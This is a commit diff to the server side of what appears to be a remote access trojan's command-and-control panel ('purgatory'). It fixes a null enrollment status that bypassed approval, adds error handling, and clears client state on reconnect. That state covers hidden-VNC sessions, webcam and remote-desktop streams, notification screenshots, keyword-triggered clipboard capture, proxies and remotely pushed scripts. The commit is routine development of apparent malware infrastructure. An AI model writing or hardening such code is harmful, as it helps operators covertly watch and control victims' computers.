add bigger back off, fix issue with null enrollment status bypassing auth, fixed other issues as well

This commit is contained in:
KingKDot
2026-04-14 20:52:15 -05:00
parent 7c6bcccda7
commit 0b6986fcdb
3 changed files with 60 additions and 17 deletions
+1 -1
View File
@@ -491,7 +491,7 @@ export function upsertClientRow(
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
build_tag=COALESCE(excluded.build_tag, clients.build_tag),
built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END,
public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
cpu=COALESCE(excluded.cpu, clients.cpu),
@@ -163,6 +163,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
clearEnrollmentTimeout(id);
const timeout = setTimeout(() => {
enrollmentTimeouts.delete(id);
try {
@@ -271,6 +272,11 @@ export async function handleWebSocketMessage(
}
}
if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") {
logger.warn(`[purgatory] unexpected enrollment_status "${enrollmentStatus}" for ${ws.data.clientId}, treating as pending`);
enrollmentStatus = "pending";
}
const resolvedId = ws.data.clientId;
const buildTag = typeof (payload as any).buildTag === "string"
? (payload as any).buildTag.trim()
@@ -337,7 +343,7 @@ export async function handleWebSocketMessage(
ip: ip || undefined,
country,
});
try { ws.close(4001, "pending"); } catch {}
setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
return;
}
@@ -347,6 +353,23 @@ export async function handleWebSocketMessage(
try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId);
clearEnrollmentTimeout(resolvedId);
stopAllProxiesForClient(resolvedId);
deps.clearPendingNotificationScreenshots(resolvedId);
deps.clearClientPluginState(resolvedId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === resolvedId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client reconnected (superseded)" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === resolvedId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client reconnected (superseded)" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
@@ -380,17 +403,21 @@ export async function handleWebSocketMessage(
});
const notificationConfig = deps.getNotificationConfig();
ws.send(
encodeMessage({
type: "hello_ack",
id: resolvedId,
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
clipboardEnabled: notificationConfig.clipboardEnabled || false,
},
}),
);
try {
ws.send(
encodeMessage({
type: "hello_ack",
id: resolvedId,
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
clipboardEnabled: notificationConfig.clipboardEnabled || false,
},
}),
);
} catch (sendErr) {
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
}
handleHello(infoObj, payload, ws, ip);
clientManager.addClient(infoObj.id, infoObj);